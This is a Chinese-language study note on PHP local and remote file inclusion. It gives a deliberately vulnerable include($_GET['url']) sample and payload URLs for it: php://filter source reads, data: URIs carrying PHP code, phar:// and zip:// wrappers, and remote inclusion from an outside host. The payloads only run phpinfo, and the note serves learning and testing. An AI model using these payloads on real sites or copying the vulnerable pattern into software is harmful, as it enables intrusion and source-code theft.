文件包含漏洞(include)-学习笔记
简介服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。PHP Stream(流)属性支持受限于 allow_url_fopenNO受限于a
简介
服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。
PHP Stream(流)
属性 | 支持 |
---|---|
受限于 allow_url_fopen | NO |
受限于allow_url_include | 仅 php://input、 php://stdin、 php://memory 和 php://temp。 |
允许读取 | 仅 php://stdin、 php://input、 php://fd、 php://memory 和 php://temp。 |
允许写入 | 仅 php://stdout、 php://stderr、 php://output、 php://fd、 php://memory 和 php://temp。 |
允许追加 | 仅 php://stdout、 php://stderr、 php://output、 php://fd、 php://memory 和 php://temp(等于写入) |
允许同时读写 | 仅 php://fd、 php://memory 和 php://temp。 |
支持 stat() | 仅 php://memory 和 php://temp。 |
支持 unlink() | No |
支持 rename() | No |
支持 mkdir() | No |
支持 rmdir() | No |
仅仅支持 stream_select() | php://stdin、 php://stdout、 php://stderr、 php://fd 和 php://temp。 |
PHP文件包含漏洞
分类
LFI(Local File Inclusion)
本地文件包含漏洞,顾名思义,指的是能打开并包含本地文件的漏洞。大部分情况下遇到的文件包含漏
洞都是LFI。简单的测试用例如前所示。
RFI(Remote File Inclusion)
远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,
因此漏洞一旦存在危害性会很大。
但RFI的利用条件较为苛刻,需要php.ini中进行配置
allow_url_fopen = On
allow_url_include = On
两个配置选项均需要为On
,才能远程包含文件成功。
php:// — 访问各个输入/输出流(I/O streams)
php中引发文件包含漏洞的通常是
以下四个函数:
- include()
- include_once()
- require()
- require_once()
举例
解析txt
include
可以包含文件,如txt文本格式,并把包含的文件当作php代码解析执行。
test.php
<?php
include "1.txt";
1.txt:
<?php
phpinfo();
<?php
include $_GET['url'];
包含服务器文件
访问:http://xx/test.php?url=1.txt跟上面一样。
配置:
allow_url_fopen = On
allow_url_include = On
访问:http://test/test.php?url=http://www.baidu.com
包含本地文件
访问:http://test/test.php?url=file:///D:/test/1.txt
利用条件:php版本大于等于php5.3.0phar://
test.php?file=phar://test.zip/phpinfo.txtzip://
test.php?file=zip://D:\phpStudy\WWW\fileinclude\test.zip%23phpinfo.txt
访问:http://test/test.php?url=http://v.f5.ink/i
http://v.f5.ink/i下载的文本内容为:
include # F5.ink
<?PHP
phpinfo();
?>
发送post请求php://input
火狐浏览器插件hackbar:
https://addons.mozilla.org/en-US/firefox/addon/max-hackbar/?src=search
读取php代码:
php://filter/read=convert.base64-encode/resource=test.php
访问:http://test/test.php?url=php://filter/read=convert.base64-encode/resource=test.php
不受allow_url_include限制
base64解密:
echo "PD9waHANCmluY2x1ZGUgJF9HRVRbJ3VybCddOw0KPz4=" | base64 -d
data base64
http://test/test.php?url=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
http://test/test.php?url=data:text/plain,%3C?php%20phpinfo();?%3E
利用条件:php版本大于等于php5.2、allow_url_fopen = On
、allow_url_include = On
图片也一样
http://tool.chinaz.com/tools/imgtobase/
参考
http://f5.ink:50001/index.php
开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!
更多推荐
所有评论(0)